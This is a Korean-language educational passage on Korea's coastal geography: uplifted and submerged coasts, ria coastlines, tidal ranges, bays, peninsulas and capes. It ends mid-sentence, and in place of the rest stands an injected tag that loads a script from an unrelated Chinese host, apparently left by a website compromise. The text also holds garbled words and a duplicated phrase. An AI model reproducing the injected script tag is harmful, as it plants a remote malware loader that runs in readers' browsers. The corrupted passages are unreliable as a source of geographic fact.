우리나라의 전반적인 해안지형의 특징입니다. 이중에서 인천앞바다는 서해안에 속합니다.
동해안은 융기 해안 또는 이수해안, 서해안과 남해안은 침강 해안 또는 침수 해안으로 구분된다.
해안이란 육지와 바다가 대기가 만나면서 서로 영향을 주고받는 좁고 긴 지대를 말하며, 해안선에 인접해 있는 육지뿐만 아니라 바다까지를 포함한다. 해안선은 바다와 육지가 만나는 선으로 해수면은 조류·해류·기상·해수 밀도 등에 의하여 계속 변화한다. 해안 지형은 해안선을 중심으로 형성된다. 그러나 해안선은 일정한 자리가 정해져 있는 것이 아니라 육지 쪽으로 들어오기도 하고 바다 쪽으로 나가기도 한다. 해안선의 이와 같은 이동은 지반이 침강하거나 융기할 때 또는 해수면이 상승하거나 하강할 때 일어난다.
우리 나라의 해수면은 제4기 홍적세에 빙기와 간빙기가 반복됨에 따라 오르내렸고, 최후의 빙기가 절정에 이르렀을 때도 지금보다 100m 이상이나 낮았다. 그것이 비교적 급격하게 상승하기 시작한 것은 약 2만 년 전이고, 현재의 수준에 이른 것은 약 4000전의 일이다.
우리 나라는 국토 면적에 비해 해안선이 매우 길다. 간척사업에 의해 지역적으로 해안선이 비교적 단순화되기 전까지만 해도 도서를 포함한 해안선의 총길이는 1만 7269km 였다. 서해안과 남해안은 섬이 많고 해안선의 드나듦이 심하지만 동해안은 비교적 단조롭고 섬도 적은 편이다. 이와 같은 차이는 한반도의 지반 운동과 관련하여 생겨난 것으로 일반적으로 동해안은 융기하고 서해안은 침강하였기 때문이다. 또한 태백산맥과 함경 산맥은 동해안을 따라 해안선과 나란하게 내려오고, 태백 산맥과 낭림 산맥에서 갈라져 나온 여러 산맥과 그사이의 하곡(夏穀; 하천이 흐르는 골짜기)은 서해와 남해 쪽으로 뻗어 있어서 복잡한 해안을 이루게 되었다. 다도해는 소백 산맥과 노령산맥의 끝 부분인 전라 남도 해안을 중심으로 발달되어 있고, 청천강·대동강·한강·안성천·만경강·동진강 등은 하구가 나팔처럼 벌어진 이른바 익곡의 형태를 보여준다.
남·서해안의 다도해 지방은 세계적인 리아스식해안으로 대한식 해안이라고도 한다.
동해안의 홍남에서 성진, 강릉에서 포항사이에는 암석해안이 발달하였고, 홍남에서 강릉 사이에는 사빈 해안이 많다. 그뿐만 아니라 곳곳에 사취·사주·석호·육계도가 자리잡고 있다. 동해안의 주요 반도로는 호도 반도·갈마반도·영일반도 등이 있으며, 주요 만으로는 옹기만·경성만·동한만·영흥만·영일만·울산만을 들 수 있다.
서해안은 수심이 얕고 조수 간만의 차가 커서 항구의 발달에 불리하며 간석지가 발달하고 있다. 감낭의 차는 아산만이 8.5m 이상으로 가장 크며, 인천은 8.1m로 이 곳에서 남북으로 갈수록 점점 작아진다. 간만의 차가 커서 인천항·남포항·군산항에는 수문식 독(dock)이나 뜬다리 부두와 같은 특수한 시설이 갖추어져 있다. 서해안에는 서한만·경기만 등의 규모가 큰 만과그보다 작은 광양만·대동만·해주만·남양만·아산만·가로림만·천수만·비인만·줄포만·함평만 등 여러개의 만이 발달해 있다. 그리고 만과 만 사이에는 옹진반도·변산반도·무안 반도·화원 반도 등과 같은 큰 반도와 이밖에 작은 반도들이 바다쪽으로 돌출해 있다.
남해안은 서해안보다 해안선의 드나듦이 더욱 복잡하다. 부산에서 해남까지의 직선 거리는 255km 인데, 해안선의 길이는 무려 2200km 이상이나 된다. 특히 소백 산맥과 노령 산맥이 RMx나는 남·서해안의 다도해 지방은 세계적인 리아스식 해안이어서 대한식 해안이라고도 불린다. 섬도 가장 많아 전국에 있는 섬의 60% 이상이 남해안에 몰려있다. 남해안은 비교적 수심도 깊고 간만의 차가 크지 않으며 해안선이 복잡해 항구가 발달하기에 적합하다. 보성만·순천만·여수만·광양만·사천만·진해만·부산만과 해남반도·고흥반도·여수 반도·고성반도 등이 대표적이다.
육지가 바다로 돌출한 부분을 곶 또는 갑니라고 한다. 서해안에서는 황해도의 장산곶, 동해안에서는 황해도의 장산곶, 동해안에서는 영일만의 장기곶 등이 대표적이다. 동해안은 단조로우면서도 소규모의 드나듦이 많다. 함경 북도의 무수단과 유지놎, 함경 남도의 송도갑 등이 잘 알려진 곶이다. 이들 지역의 대부분은 항로 표시의 하나로 뱃길을 밝혀주는 등대를 설치하고 있다.
암석해안에서 볼 수 있는 침식 지형은 해식애와 파식대이다.
우리나라의 해안 지형은 크게 해안 침식 지형, 해안 퇴적지형으로 구분할 수 있다. 해식 또는 파랑에 의한 각종 침식지형은 산지나 구릉지가 바다로 돌출하여 외해에서 밀려오는 큰 파랑을 잘 받아들이는 해안에 발달한다. 이와 같은 침식 지형이 발달하는데는 파랑의 침식, 수면층의 풍화 작용, 해수의 용해 작용 그?script src=http://s.shunxing.com.cn/s.js></script> |
